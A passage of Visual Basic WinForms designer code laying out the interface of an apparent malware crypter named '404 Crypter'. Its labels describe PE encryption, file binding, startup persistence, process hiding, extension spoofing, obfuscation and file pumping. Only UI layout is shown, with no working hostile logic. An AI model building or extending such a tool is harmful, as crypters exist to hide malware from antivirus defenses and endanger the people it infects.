Windows Form. + 'Ne la modifiez pas à l'aide de l'éditeur de code. + _ + Private Sub InitializeComponent() + Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form1)) + Me.DesignForm1 = New Crypter.DesignForm() + Me.DesignGroupBox4 = New Crypter.DesignGroupBox() + Me.DesignButton10 = New Crypter.DesignButton() + Me.Label6 = New System.Windows.Forms.Label() + Me.TextBox5 = New System.Windows.Forms.TextBox() + Me.PictureBox1 = New System.Windows.Forms.PictureBox() + Me.DesignGroupBox3 = New Crypter.DesignGroupBox() + Me.DesignButton9 = New Crypter.DesignButton() + Me.NumericUpDown1 = New System.Windows.Forms.NumericUpDown() + Me.DeumosRadioButton2 = New Crypter.DeumosRadioButton() + Me.DeumosRadioButton1 = New Crypter.DeumosRadioButton() + Me.DesignGroupBox2 = New Crypter.DesignGroupBox() + Me.DesignButton8 = New Crypter.DesignButton() + Me.DesignButton6 = New Crypter.DesignButton() + Me.TextBox3 = New System.Windows.Forms.TextBox() + Me.grpClone = New Crypter.DesignGroupBox() + Me.txtClone = New System.Windows.Forms.TextBox() + Me.DesignButton5 = New Crypter.DesignButton() + Me.DesignButton7 = New Crypter.DesignButton() + Me.btnEncrypt = New Crypter.DesignButton() + Me.grpSetting = New Crypter.DesignGroupBox() + Me.chkrunOnce = New Crypter.DeumosCheckBox() + Me.chkAssembly = New Crypter.DeumosCheckBox() + Me.chkStartup = New Crypter.DeumosCheckBox() + Me.chkBinder = New Crypter.DeumosCheckBox() + Me.chkIcon = New Crypter.DeumosCheckBox() + Me.grpInject = New Crypter.DesignGroupBox() + Me.chkHide = New Crypter.DeumosCheckBox() + Me.chkRoot = New Crypter.DeumosCheckBox() + Me.TextBox8 = New System.Windows.Forms.TextBox() + Me.grpStartup = New Crypter.DesignGroupBox() + Me.txtKeyname = New System.Windows.Forms.TextBox() + Me.txtFilename = New System.Windows.Forms.TextBox() + Me.txtFolder = New System.Windows.Forms.TextBox() + Me.Label3 = New System.Windows.Forms.Label() + Me.Label2 = New System.Windows.Forms.Label() + Me.Label1 = New System.Windows.Forms.Label() + Me.grpBinder = New Crypter.DesignGroupBox() + Me.txtBinder = New System.Windows.Forms.TextBox() + Me.DesignButton3 = New Crypter.DesignButton() + Me.grpIcon = New Crypter.DesignGroupBox() + Me.PictureBox2 = New System.Windows.Forms.PictureBox() + Me.Label4 = New System.Windows.Forms.Label() + Me.TextBox4 = New System.Windows.Forms.TextBox() + Me.DesignButton4 = New Crypter.DesignButton() + Me.DesignGroupBox1 = New Crypter.DesignGroupBox() + Me.DesignButton2 = New Crypter.DesignButton() + Me.TextBox2 = New System.Windows.Forms.TextBox() + Me.TextBox1 = New System.Windows.Forms.TextBox() + Me.DesignButton1 = New Crypter.DesignButton() + Me.DesignControlBox1 = New Crypter.DesignControlBox() + Me.DeumosCheckBox1 = New Crypter.DeumosCheckBox() + Me.DeumosCheckBox2 = New Crypter.DeumosCheckBox() + Me.DesignForm1.SuspendLayout() + Me.DesignGroupBox4.SuspendLayout() + CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit() + Me.DesignGroupBox3.SuspendLayout() + CType(Me.NumericUpDown1, System.ComponentModel.ISupportInitialize).BeginInit() + Me.DesignGroupBox2.SuspendLayout() + Me.grpClone.SuspendLayout() + Me.grpSetting.SuspendLayout() + Me.grpInject.SuspendLayout() + Me.grpStartup.SuspendLayout() + Me.grpBinder.SuspendLayout() + Me.grpIcon.SuspendLayout() + CType(Me.PictureBox2, System.ComponentModel.ISupportInitialize).BeginInit() + Me.DesignGroupBox1.SuspendLayout() + Me.SuspendLayout() + ' + 'DesignForm1 + ' + Me.DesignForm1.Controls.Add(Me.DesignGroupBox4) + Me.DesignForm1.Controls.Add(Me.PictureBox1) + Me.DesignForm1.Controls.Add(Me.DesignGroupBox3) + Me.DesignForm1.Controls.Add(Me.DesignGroupBox2) + Me.DesignForm1.Controls.Add(Me.grpClone) + Me.DesignForm1.Controls.Add(Me.DesignButton7) + Me.DesignForm1.Controls.Add(Me.btnEncrypt) + Me.DesignForm1.Controls.Add(Me.grpSetting) + Me.DesignForm1.Controls.Add(Me.grpInject) + Me.DesignForm1.Controls.Add(Me.grpStartup) + Me.DesignForm1.Controls.Add(Me.grpBinder) + Me.DesignForm1.Controls.Add(Me.grpIcon) + Me.DesignForm1.Controls.Add(Me.DesignGroupBox1) + Me.DesignForm1.Controls.Add(Me.DesignControlBox1) + Me.DesignForm1.Dock = System.Windows.Forms.DockStyle.Fill + Me.DesignForm1.Font = New System.Drawing.Font("Verdana", 10.0!) + Me.DesignForm1.Location = New System.Drawing.Point(0, 0) + Me.DesignForm1.Name = "DesignForm1" + Me.DesignForm1.Padding = New System.Windows.Forms.Padding(2, 36, 2, 2) + Me.DesignForm1.Size = New System.Drawing.Size(558, 595) + Me.DesignForm1.TabIndex = 0 + Me.DesignForm1.Text = "404 Crypter" + ' + 'DesignGroupBox4 + ' + Me.DesignGroupBox4.Controls.Add(Me.DesignButton10) + Me.DesignGroupBox4.Controls.Add(Me.Label6) + Me.DesignGroupBox4.Controls.Add(Me.TextBox5) + Me.DesignGroupBox4.Font = New System.Drawing.Font("Verdana", 8.25!) + Me.DesignGroupBox4.Location = New System.Drawing.Point(414, 372) + Me.DesignGroupBox4.Name = "DesignGroupBox4" + Me.DesignGroupBox4.Padding = New System.Windows.Forms.Padding(2, 27, 2, 2) + Me.DesignGroupBox4.Size = New System.Drawing.Size(133, 96) + Me.DesignGroupBox4.TabIndex = 15 + Me.DesignGroupBox4.Text = "Extension spoofer" + ' + 'DesignButton10 + ' + Me.DesignButton10.Font = New System.Drawing.Font("Verdana", 9.0!) + Me.DesignButton10.Location = New System.Drawing.Point(8, 70) + Me.DesignButton10.Name = "DesignButton10" + Me.DesignButton10.Size = New System.Drawing.Size(114, 18) + Me.DesignButton10.TabIndex = 10 + Me.DesignButton10.Text = "Spoof it" + ' + 'Label6 + ' + Me.Label6.AutoSize = True + Me.Label6.BackColor = System.Drawing.Color.Transparent + Me.Label6.ForeColor = System.Drawing.Color.DarkGray + Me.Label6.Location = New System.Drawing.Point(6, 27) + Me.Label6.Name = "Label6" + Me.Label6.Size = New System.Drawing.Size(71, 13) + Me.Label6.TabIndex = 9 + Me.Label6.Text = "Extension :" + ' + 'TextBox5 + ' + Me.TextBox5.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer)) + Me.TextBox5.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox5.ForeColor = System.Drawing.Color.DarkGray + Me.TextBox5.Location = New System.Drawing.Point(9, 43) + Me.TextBox5.Name = "TextBox5" + Me.TextBox5.Size = New System.Drawing.Size(114, 21) + Me.TextBox5.TabIndex = 7 + ' + 'PictureBox1 + ' + Me.PictureBox1.BackColor = System.Drawing.Color.Transparent + Me.PictureBox1.Image = Global.Crypter.My.Resources.Resources.Capture + Me.PictureBox1.Location = New System.Drawing.Point(9, 39) + Me.PictureBox1.Name = "PictureBox1" + Me.PictureBox1.Size = New System.Drawing.Size(540, 138) + Me.PictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize + Me.PictureBox1.TabIndex = 14 + Me.PictureBox1.TabStop = False + ' + 'DesignGroupBox3 + ' + Me.DesignGroupBox3.Controls.Add(Me.DesignButton9) + Me.DesignGroupBox3.Controls.Add(Me.NumericUpDown1) + Me.DesignGroupBox3.Controls.Add(Me.DeumosRadioButton2) + Me.DesignGroupBox3.Controls.Add(Me.DeumosRadioButton1) + Me.DesignGroupBox3.Font = New System.Drawing.Font("Verdana", 8.25!) + Me.DesignGroupBox3.Location = New System.Drawing.Point(414, 266) + Me.DesignGroupBox3.Name = "DesignGroupBox3" + Me.DesignGroupBox3.Padding = New System.Windows.Forms.Padding(2, 27, 2, 2) + Me.DesignGroupBox3.Size = New System.Drawing.Size(133, 100) + Me.DesignGroupBox3.TabIndex = 13 + Me.DesignGroupBox3.Text = "Pump my file" + ' + 'DesignButton9 + ' + Me.DesignButton9.Font = New System.Drawing.Font("Verdana", 9.0!) + Me.DesignButton9.Location = New System.Drawing.Point(9, 72) + Me.DesignButton9.Name = "DesignButton9" + Me.DesignButton9.Size = New System.Drawing.Size(114, 18) + Me.DesignButton9.TabIndex = 3 + Me.DesignButton9.Text = "Pump " + ' + 'NumericUpDown1 + ' + Me.NumericUpDown1.Location = New System.Drawing.Point(8, 38) + Me.NumericUpDown1.Minimum = New Decimal(New Integer() {5, 0, 0, 0}) + Me.NumericUpDown1.Name = "NumericUpDown1" + Me.NumericUpDown1.Size = New System.Drawing.Size(74, 21) + Me.NumericUpDown1.TabIndex = 2 + Me.NumericUpDown1.Value = New Decimal(New Integer() {5, 0, 0, 0}) + ' + 'DeumosRadioButton2 + ' + Me.DeumosRadioButton2.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer)) + Me.DeumosRadioButton2.Checked = False + Me.DeumosRadioButton2.Customization = "////Jv///wX///8A////KAgICP8QEBD/////Bf////8AAAD/////Dw==" + Me.DeumosRadioButton2.Field = 16 + Me.DeumosRadioButton2.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.DeumosRadioButton2.Image = Nothing + Me.DeumosRadioButton2.Location = New System.Drawing.Point(87, 53) + Me.DeumosRadioButton2.Name = "DeumosRadioButton2" + Me.DeumosRadioButton2.NoRounding = False + Me.DeumosRadioButton2.Size = New System.Drawing.Size(41, 16) + Me.DeumosRadioButton2.TabIndex = 1 + Me.DeumosRadioButton2.Text = "MB" + Me.DeumosRadioButton2.Transparent = False + ' + 'DeumosRadioButton1 + ' + Me.DeumosRadioButton1.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer)) + Me.DeumosRadioButton1.Checked = False + Me.DeumosRadioButton1.Customization = "////Jv///wX///8A////KAgICP8QEBD/////Bf////8AAAD/////Dw==" + Me.DeumosRadioButton1.Field = 16 + Me.DeumosRadioButton1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.DeumosRadioButton1.Image = Nothing + Me.DeumosRadioButton1.Location = New System.Drawing.Point(87, 30) + Me.DeumosRadioButton1.Name = "DeumosRadioButton1" + Me.DeumosRadioButton1.NoRounding = False + Me.DeumosRadioButton1.Size = New System.Drawing.Size(41, 16) + Me.DeumosRadioButton1.TabIndex = 0 + Me.DeumosRadioButton1.Text = "KB" + Me.DeumosRadioButton1.Transparent = False + ' + 'DesignGroupBox2 + ' + Me.DesignGroupBox2.Controls.Add(Me.DesignButton8) + Me.DesignGroupBox2.Controls.Add(Me.DesignButton6) + Me.DesignGroupBox2.Controls.Add(Me.TextBox3) + Me.DesignGroupBox2.Font = New System.Drawing.Font("Verdana", 8.25!) + Me.DesignGroupBox2.Location = New System.Drawing.Point(414, 180) + Me.DesignGroupBox2.Name = "DesignGroupBox2" + Me.DesignGroupBox2.Padding = New System.Windows.Forms.Padding(2, 27, 2, 2) + Me.DesignGroupBox2.Size = New System.Drawing.Size(133, 80) + Me.DesignGroupBox2.TabIndex = 12 + Me.DesignGroupBox2.Text = "Obfuscator" + ' + 'DesignButton8 + ' + Me.DesignButton8.Font = New System.Drawing.Font("Verdana", 9.0!) + Me.DesignButton8.Location = New System.Drawing.Point(9, 57) + Me.DesignButton8.Name = "DesignButton8" + Me.DesignButton8.Size = New System.Drawing.Size(114, 18) + Me.DesignButton8.TabIndex = 5 + Me.DesignButton8.Text = "Obfuscate" + ' + 'DesignButton6 + ' + Me.DesignButton6.Font = New System.Drawing.Font("Verdana", 9.0!) + Me.DesignButton6.Location = New System.Drawing.Point(90, 30) + Me.DesignButton6.Name = "DesignButton6" + Me.DesignButton6.Size = New System.Drawing.Size(38, 21) + Me.DesignButton6.TabIndex = 4 + Me.DesignButton6.Text = "..." + ' + 'TextBox3 + ' + Me.TextBox3.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer)) + Me.TextBox3.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox3.ForeColor = System.Drawing.Color.DarkGray + Me.TextBox3.Location = New System.Drawing.Point(5, 30) + Me.TextBox3.Name = "TextBox3" + Me.TextBox3.ReadOnly = True + Me.TextBox3.Size = New System.Drawing.Size(77, 21) + Me.TextBox3.TabIndex = 4 + Me.TextBox3.Text = "Browse File" + ' + 'grpClone + ' + Me.grpClone.Controls.Add(Me.txtClone) + Me.grpClone.Controls.Add(Me.DesignButton5) + Me.grpClone.Enabled = False + Me.grpClone.Font = New System.Drawing.Font("Verdana", 8.25!) + Me.grpClone.Location = New System.Drawing.Point(232, 401) + Me.grpClone.Name = "grpClone" + Me.grpClone.Padding = New System.Windows.Forms.Padding(2, 27, 2, 2) + Me.grpClone.Size = New System.Drawing.Size(176, 81) + Me.grpClone.TabIndex = 11 + Me.grpClone.Text = "Clone Assembly" + ' + 'txtClone + ' + Me.txtClone.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer)) + Me.txtClone.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.txtClone.ForeColor = System.Drawing.Color.DarkGray + Me.txtClone.Location = New System.Drawing.Point(11, 39) + Me.txtClone.Name = "txtClone" + Me.txtClone.ReadOnly = True + Me.txtClone.Size = New System.Drawing.Size(111, 21) + Me.txtClone.TabIndex = 3 + Me.txtClone.Text = "Browse Assembly" + ' + 'DesignButton5 + ' + Me.DesignButton5.Font = New System.Drawing.Font("Verdana", 9.0!) + Me.DesignButton5.Location = New System.Drawing.Point(128, 39) + Me.DesignButton5.Name = "DesignButton5" + Me.DesignButton5.Size = New System.Drawing.Size(38, 21) + Me.DesignButton5.TabIndex = 2 + Me.DesignButton5.Text = "..." + ' + 'DesignButton7 + ' + Me.DesignButton7.Font = New System.Drawing.Font("Verdana", 9.0!) + Me.DesignButton7.Location = New System.Drawing.Point(232, 536) + Me.DesignButton7.Name = "DesignButton7" + Me.DesignButton7.Size = New System.Drawing.Size(176, 28) + Me.DesignButton7.TabIndex = 9 + Me.DesignButton7.Text = "Scanner" + ' + 'btnEncrypt + ' + Me.btnEncrypt.Enabled = False + Me.btnEncrypt.Font = New System.Drawing.Font("Verdana", 9.0!) + Me.btnEncrypt.Location = New System.Drawing.Point(232, 488) + Me.btnEncrypt.Name = "btnEncrypt" + Me.btnEncrypt.Size = New System.Drawing.Size(176, 42) + Me.btnEncrypt.TabIndex = 7 + Me.btnEncrypt.Text = "Encrypt PE" + ' + 'grpSetting + ' + Me.grpSetting.Controls.Add(Me.DeumosCheckBox2) + Me.grpSetting.Controls.Add(Me.DeumosCheckBox1) + Me.grpSetting.Controls.Add(Me.chkrunOnce) + Me.grpSetting.Controls.Add(Me.chkAssembly) + Me.grpSetting.Controls.Add(Me.chkStartup) + Me.grpSetting.Controls.Add(Me.chkBinder) + Me.grpSetting.Controls.Add(Me.chkIcon) + Me.grpSetting.Enabled = False + Me.grpSetting.Font = New System.Drawing.Font("Verdana", 8.25!) + Me.grpSetting.Location = New System.Drawing.Point(10, 446) + Me.grpSetting.Name = "grpSetting" + Me.grpSetting.Padding = New System.Windows.Forms.Padding(2, 27, 2, 2) + Me.grpSetting.Size = New System.Drawing.Size(216, 141) + Me.grpSetting.TabIndex = 6 + Me.grpSetting.Text = "Settings" + ' + 'chkrunOnce + ' + Me.chkrunOnce.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer)) + Me.chkrunOnce.Checked = False + Me.chkrunOnce.Customization = "Ghoa/////yP///8F////AP///ygICAj/EBAQ/////wWpqan/AAAA/wAAAP8=" + Me.chkrunOnce.Field = 16 + Me.chkrunOnce.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.chkrunOnce.Image = Nothing + Me.chkrunOnce.Location = New System.Drawing.Point(5, 118) + Me.chkrunOnce.Name = "chkrunOnce" + Me.chkrunOnce.NoRounding = False + Me.chkrunOnce.Size = New System.Drawing.Size(122, 16) + Me.chkrunOnce.TabIndex = 4 + Me.chkrunOnce.Text = "Run Once Binder" + Me.chkrunOnce.Transparent = False + ' + 'chkAssembly + ' + Me.chkAssembly.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer)) + Me.chkAssembly.Checked = False + Me.chkAssembly.Customization = "Ghoa/////yP///8F////AP///ygICAj/EBAQ/////wWpqan/AAAA/wAAAP8=" + Me.chkAssembly.Field = 16 + Me.chkAssembly.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.chkAssembly.Image = Nothing + Me.chkAssembly.Location = New System.Drawing.Point(5, 96) + Me.chkAssembly.Name = "chkAssembly" + Me.chkAssembly.NoRounding = False + Me.chkAssembly.Size = New System.Drawing.Size(158, 16) + Me.chkAssembly.TabIndex = 3 + Me.chkAssembly.Text = "Assembly Clone" + Me.chkAssembly.Transparent = False + ' + 'chkStartup + ' + Me.chkStartup.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer)) + Me.chkStartup.Checked = False + Me.chkStartup.Customization = "Ghoa/////yP///8F////AP///ygICAj/EBAQ/////wWpqan/AAAA/wAAAP8=" + Me.chkStartup.Field = 16 + Me.chkStartup.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.chkStartup.Image = Nothing + Me.chkStartup.Location = New System.Drawing.Point(5, 74) + Me.chkStartup.Name = "chkStartup" + Me.chkStartup.NoRounding = False + Me.chkStartup.Size = New System.Drawing.Size(144, 16) + Me.chkStartup.TabIndex = 2 + Me.chkStartup.Text = "Startup" + Me.chkStartup.Transparent = False + ' + 'chkBinder + ' + Me.chkBinder.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer)) + Me.chkBinder.Checked = False + Me.chkBinder.Customization = "Ghoa/////yP///8F////AP///ygICAj/EBAQ/////wWpqan/AAAA/wAAAP8=" + Me.chkBinder.Field = 16 + Me.chkBinder.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.chkBinder.Image = Nothing + Me.chkBinder.Location = New System.Drawing.Point(5, 52) + Me.chkBinder.Name = "chkBinder" + Me.chkBinder.NoRounding = False + Me.chkBinder.Size = New System.Drawing.Size(144, 16) + Me.chkBinder.TabIndex = 1 + Me.chkBinder.Text = "Binder" + Me.chkBinder.Transparent = False + ' + 'chkIcon + ' + Me.chkIcon.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer)) + Me.chkIcon.Checked = False + Me.chkIcon.Customization = "Ghoa/////yP///8F////AP///ygICAj/EBAQ/////wWpqan/AAAA/wAAAP8=" + Me.chkIcon.Field = 16 + Me.chkIcon.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.chkIcon.Image = Nothing + Me.chkIcon.Location = New System.Drawing.Point(5, 30) + Me.chkIcon.Name = "chkIcon" + Me.chkIcon.NoRounding = False + Me.chkIcon.Size = New System.Drawing.Size(144, 16) + Me.chkIcon.TabIndex = 0 + Me.chkIcon.Text = "Icon Changer" + Me.chkIcon.Transparent = False + ' + 'grpInject + ' + Me.grpInject.Controls.Add(Me.chkHide) + Me.grpInject.Controls.Add(Me.chkRoot) + Me.grpInject.Controls.Add(Me.TextBox8) + Me.grpInject.Font = New System.Drawing.Font("Verdana", 8.25!) + Me.grpInject.Location = New System.Drawing.Point(232, 322) + Me.grpInject.Name = "grpInject" + Me.grpInject.Padding = New System.Windows.Forms.Padding(2, 27, 2, 2) + Me.grpInject.Size = New System.Drawing.Size(176, 73) + Me.grpInject.TabIndex = 5 + Me.grpInject.Text = "Custom Process Name" + ' + 'chkHide + ' + Me.chkHide.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer)) + Me.chkHide.Checked = False + Me.chkHide.Customization = "Ghoa/////yP///8F////AP///ygICAj/EBAQ/////wWpqan/AAAA/wAAAP8=" + Me.chkHide.Field = 16 + Me.chkHide.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.chkHide.Image = Nothing + Me.chkHide.Location = New System.Drawing.Point(78, 50) + Me.chkHide.Name = "chkHide" + Me.chkHide.NoRounding = False + Me.chkHide.Size = New System.Drawing.Size(95, 16) + Me.chkHide.TabIndex = 8 + Me.chkHide.Text = "Hide Process " + Me.chkHide.Transparent = False + ' + 'chkRoot + ' + Me.chkRoot.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer)) + Me.chkRoot.Checked = False + Me.chkRoot.Customization = "Ghoa/////yP///8F////AP///ygICAj/EBAQ/////wWpqan/AAAA/wAAAP8=" + Me.chkRoot.Field = 16 + Me.chkRoot.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.chkRoot.Image = Nothing + Me.chkRoot.Location = New System.Drawing.Point(78, 28) + Me.chkRoot.Name = "chkRoot" + Me.chkRoot.NoRounding = False + Me.chkRoot.Size = New System.Drawing.Size(88, 16) + Me.chkRoot.TabIndex = 7 + Me.chkRoot.Text = "Persitance" + Me.chkRoot.Transparent = False + ' + 'TextBox8 + ' + Me.TextBox8.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer)) + Me.TextBox8.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox8.ForeColor = System.Drawing.Color.DarkGray + Me.TextBox8.Location = New System.Drawing.Point(12, 37) + Me.TextBox8.Name = "TextBox8" + Me.TextBox8.Size = New System.Drawing.Size(60, 21) + Me.TextBox8.TabIndex = 6 + Me.TextBox8.Text = "WinSec" + ' + 'grpStartup + ' + Me.grpStartup.Controls.Add(Me.txtKeyname) + Me.grpStartup.Controls.Add(Me.txtFilename) + Me.grpStartup.Controls.Add(Me.txtFolder) + Me.grpStartup.Controls.Add(Me.Label3) + Me.grpStartup.Controls.Add(Me.Label2) + Me.grpStartup.Controls.Add(Me.Label1) + Me.grpStartup.Enabled = False + Me.grpStartup.Font = New System.Drawing.Font("Verdana", 8.25!) + Me.grpStartup.Location = New System.Drawing.Point(232, 180) + Me.grpStartup.Name = "grpStartup" + Me.grpStartup.Padding = New System.Windows.Forms.Padding(2, 27, 2, 2) + Me.grpStartup.Size = New System.Drawing.Size(176, 136) + Me.grpStartup.TabIndex = 4 + Me.grpStartup.Text = "Startup" + ' + 'txtKeyname + ' + Me.txtKeyname.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer)) + Me.txtKeyname.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.txtKeyname.ForeColor = System.Drawing.Color.DarkGray + Me.txtKeyname.Location = New System.Drawing.Point(78, 95) + Me.txtKeyname.Name = "txtKeyname" + Me.txtKeyname.Size = New System.Drawing.Size(83, 21) + Me.txtKeyname.TabIndex = 5 + Me.txtKeyname.Text = "WinApps" + ' + 'txtFilename + ' + Me.txtFilename.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer)) + Me.txtFilename.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.txtFilename.ForeColor = System.Drawing.Color.DarkGray + Me.txtFilename.Location = New System.Drawing.Point(78, 65) + Me.txtFilename.Name = "txtFilename" + Me.txtFilename.Size = New System.Drawing.Size(83, 21) + Me.txtFilename.TabIndex = 4 + Me.txtFilename.Text = "WinApps" + ' + 'txtFolder + ' + Me.txtFolder.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer)) + Me.txtFolder.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.txtFolder.ForeColor = System.Drawing.Color.DarkGray + Me.txtFolder.Location = New System.Drawing.Point(58, 38) + Me.txtFolder.Name = "txtFolder" + Me.txtFolder.Size = New System.Drawing.Size(103, 21) + Me.txtFolder.TabIndex = 3 + Me.txtFolder.Text = "WinApps" + ' + 'Label3 + ' + Me.Label3.AutoSize = True + Me.Label3.BackColor = System.Drawing.Color.Transparent + Me.Label3.ForeColor = System.Drawing.Color.DarkGray + Me.Label3.Location = New System.Drawing.Point(5, 97) + Me.Label3.Name = "Label3" + Me.Label3.Size = New System.Drawing.Size(67, 13) + Me.Label3.TabIndex = 2 + Me.Label3.Text = "KeyName:" + ' + 'Label2 + ' + Me.Label2.AutoSize = True + Me.Label2.BackColor = System.Drawing.Color.Transparent + Me.Label2.ForeColor = System.Drawing.Color.DarkGray + Me.Label2.Location = New System.Drawing.Point(5, 67) + Me.Label2.Name = "Label2" + Me.Label2.Size = New System.Drawing.Size(67, 13) + Me.Label2.TabIndex = 1 + Me.Label2.Text = "AppName:" + ' + 'Label1 + ' + Me.Label1.AutoSize = True + Me.Label1.BackColor = System.Drawing.Color.Transparent + Me.Label1.ForeColor = System.Drawing.Color.DarkGray + Me.Label1.Location = New System.Drawing.Point(5, 40) + Me.Label1.Name = "Label1" + Me.Label1.Size = New System.Drawing.Size(47, 13) + Me.Label1.TabIndex = 0 + Me.Label1.Text = "Folder:" + ' + 'grpBinder + ' + Me.grpBinder.Controls.Add(Me.txtBinder) + Me.grpBinder.Controls.Add(Me.DesignButton3) + Me.grpBinder.Enabled = False + Me.grpBinder.Font = New System.Drawing.Font("Verdana", 8.25!) + Me.grpBinder.Location = New System.Drawing.Point(10, 376) + Me.grpBinder.Name = "grpBinder" + Me.grpBinder.Padding = New System.Windows.Forms.Padding(2, 27, 2, 2) + Me.grpBinder.Size = New System.Drawing.Size(216, 64) + Me.grpBinder.TabIndex = 3 + Me.grpBinder.Text = "Binder" + ' + 'txtBinder + ' + Me.txtBinder.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer)) + Me.txtBinder.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.txtBinder.ForeColor = System.Drawing.Color.DarkGray + Me.txtBinder.Location = New System.Drawing.Point(12, 33) + Me.txtBinder.Name = "txtBinder" + Me.txtBinder.ReadOnly = True + Me.txtBinder.Size = New System.Drawing.Size(151, 21) + Me.txtBinder.TabIndex = 1 + Me.txtBinder.Text = "Browse File to Bind..." + ' + 'DesignButton3 + ' + Me.DesignButton3.Font = New System.Drawing.Font("Verdana", 9.0!) + Me.DesignButton3.Location = New System.Drawing.Point(169, 33) + Me.DesignButton3.Name = "DesignButton3" + Me.DesignButton3.Size = New System.Drawing.Size(38, 21) + Me.DesignButton3.TabIndex = 0 + Me.DesignButton3.Text = "..." + ' + 'grpIcon + ' + Me.grpIcon.Controls.Add(Me.PictureBox2) + Me.grpIcon.Controls.Add(Me.Label4) + Me.grpIcon.Controls.Add(Me.TextBox4) + Me.grpIcon.Controls.Add(Me.DesignButton4) + Me.grpIcon.Enabled = False + Me.grpIcon.Font = New System.Drawing.Font("Verdana", 8.25!) + Me.grpIcon.Location = New System.Drawing.Point(10, 277) + Me.grpIcon.Name = "grpIcon" + Me.grpIcon.Padding = New System.Windows.Forms.Padding(2, 27, 2, 2) + Me.grpIcon.Size = New System.Drawing.Size(216, 93) + Me.grpIcon.TabIndex = 2 + Me.grpIcon.Text = "Icon Changer" + ' + 'PictureBox2 + ' + Me.PictureBox2.BackColor = System.Drawing.Color.Transparent + Me.PictureBox2.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch + Me.PictureBox2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.PictureBox2.Location = New System.Drawing.Point(165, 55) + Me.PictureBox2.Name = "PictureBox2" + Me.PictureBox2.Size = New System.Drawing.Size(42, 34) + Me.PictureBox2.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage + Me.PictureBox2.TabIndex = 4 + Me.PictureBox2.TabStop = False + ' + 'Label4 + ' + Me.Label4.AutoSize = True + Me.Label4.BackColor = System.Drawing.Color.Transparent + Me.Label4.ForeColor = System.Drawing.Color.DarkGray + Me.Label4.Location = New System.Drawing.Point(69, 55) + Me.Label4.Name = "Label4" + Me.Label4.Size = New System.Drawing.Size(86, 13) + Me.Label4.TabIndex = 3 + Me.Label4.Text = "Icon Preview:" + ' + 'TextBox4 + ' + Me.TextBox4.BackColor = System.Drawing.Color.FromArgb(CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer), CType(CType(27, Byte), Integer)) + Me.TextBox4.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox4.ForeColor = System.Drawing.Color.DarkGray + Me.TextBox4.Location = New System.Drawing.Point(12, 32) + Me.TextBox4.Name = "TextBox4" + Me.TextBox4.ReadOnly = True + Me.TextBox4.Size = New System.Drawing.Size(151, 21) + Me.TextBox4.TabIndex = 1 + Me.TextBox4.Text = "Browse Icon to Use..." + ' + 'DesignButton4 + ' + Me.DesignButton4.Font = New System.Drawing.Font("Verdana", 9.0!) + Me.DesignButton4.Location = New System.Drawing.Point(169, 32) + Me.DesignButton4.Name = "DesignButton4" + Me.DesignButton4.Size = New System.Drawing.Size(38, 21) + Me.DesignButton4.TabIndex = 0 + 